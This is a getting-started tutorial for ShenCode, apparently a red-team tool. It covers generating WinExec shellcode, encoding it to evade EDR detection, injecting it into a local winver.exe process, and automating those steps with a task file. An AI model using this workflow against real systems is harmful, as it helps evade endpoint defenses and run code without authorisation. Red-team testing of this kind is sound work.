ShenCode - Getting Started

This tutorial demonstrates the first steps with ShenCode.

  • Installation
  • Generating Shellcode
  • Analyzing Code
  • Using Encoders
  • Local Shellcode Injection
  • Automation

Installation

To install ShenCode with all its dependencies, just a few commands are sufficient:

Download Repository

git clone https://github.com/psycore8/shencode
cd shencode

Create and Activate Virtual Environment

Windows
python -m venv .venv
.venv\bin\activate
Linux
python -m venv .venv
source .venv/bin/activate

Install Dependencies

pip install .

It is recommended to install NASM or copy the standalone binary into the ShenCode directory to enable shellcode compilation.

General Help

General help can be accessed via -h or --help:

shencode -h

usage: shencode.py [-h] [--config CONFIG] {core,dev,encoder,inject,obfuscate,payload,stager} ...

dynamic module parser

positional arguments:
  {core,dev,encoder,inject,obfuscate,payload,stager}
                        Available modules
    core                core group
    encoder             encoder group
    inject              inject group
    obfuscate           obfuscate group
    payload             payload group
    stager              stager group

Generating Shellcode

After installation, we can generate our first shellcode using the payload/winexec module. This module creates a shellcode that passes a user-defined command to the WinExec function. Let’s check the module’s help:

shencode payload winexec -h

winexec [-h] -c COMMAND_LINE -o OUTPUT [-d] [-r]

Generate a dynamic WinExec shellcode

options:
  -h, --help          show this help message and exit
  -c, --command-line  Command to execute with WinExec
  -o, --output        Output file

additional:
  -d, --debug         Save nasm code only
  -r, --random-label  Rename jump labels into random words

For basic shellcode, the arguments --command-line and --output are essential. Suppose we want to execute cmd /k net user and save the shellcode as netuser.bin, the command would be:

shencode payload winexec --command-line="cmd /k net user" --output netuser.bin

This will generate the netuser.bin file.

Analyzing Code

Now let’s take a look at the generated file:

shencode core output --input netuser.bin --syntax inspect

Null bytes are automatically highlighted in red.

You can also search for specific byte sequences, which will be highlighted in light blue:

shencode core output --input netuser.bin --syntax inspect --highlight="e5 48 83"

Using Encoders

ShenCode includes several encoders that obfuscate shellcodes to bypass EDR solutions. Essentially, the existing shellcode is encrypted and a decoder stub is prepended to decrypt it in memory. Here, we use the AlphaNum encoder, which transforms all bytes into printable characters. This prevents null bytes, though it increases size:

shencode encoder alphanum --input netuser.bin --output netuser_encoded.bin --compile

Since each byte becomes two characters and a decoder stub is appended, the output is more than twice the size. Let’s check for null bytes:

shencode core output --input netuser_encoded.bin --syntax inspect

As expected, none are present — perfect.

Local Shellcode Injection

Now it’s time to test the shellcode. We’ll inject it into a local process and verify it runs as expected (this should ideally be done in a test environment). We’ll use the basic injector inject/injection, targeting winver.exe and instructing it to start:

shencode inject injection --input netuser_encoded.bin --process winver.exe --start-process

If everything works correctly, a new command prompt window opens listing the current Windows users — the shellcode was injected successfully.

Automation

ShenCode allows the creation of tasks to automate repetitive operations. These tasks are defined in a JSON file that passes parameters to the appropriate modules. The tasks are executed step by step. Based on previous steps, we’ll now automate the workflow. Which modules did we use?

shencode payload winexec --command-line="cmd /k net user" --output netuser.bin
shencode encoder alphanum --input netuser.bin --output netuser_encoded.bin --compile
shencode core output --input netuser_encoded.bin --syntax inspect
shencode inject injection --input netuser_encoded.bin --process winver.exe --start-process

We need the appropriate parameters for each module. These can be found in the ShenCode Wiki

Module Arguments Values Type
winexec command_line process param str
  output outputfile str
  random_label true, false bool
alphanum input, output filename str
  compile, decode true, false bool
output input, output filename str
  syntax syntax str
  decimal, lines, no_line_break true, false bool
  range 0, 0 list
  bytes_per_row 16 int
injection input, process filename, processname str
  start_process, resume_thread, virtual_protect true, false bool
  shellcode null (internal use) none

Using this information, we can now create a task file to automate the previous steps. The general structure of a task JSON file is described in the Task Engine module. A ready-to-use task example can be found in the github repository

To execute it, only a single command is required:

shencode core task --input started.json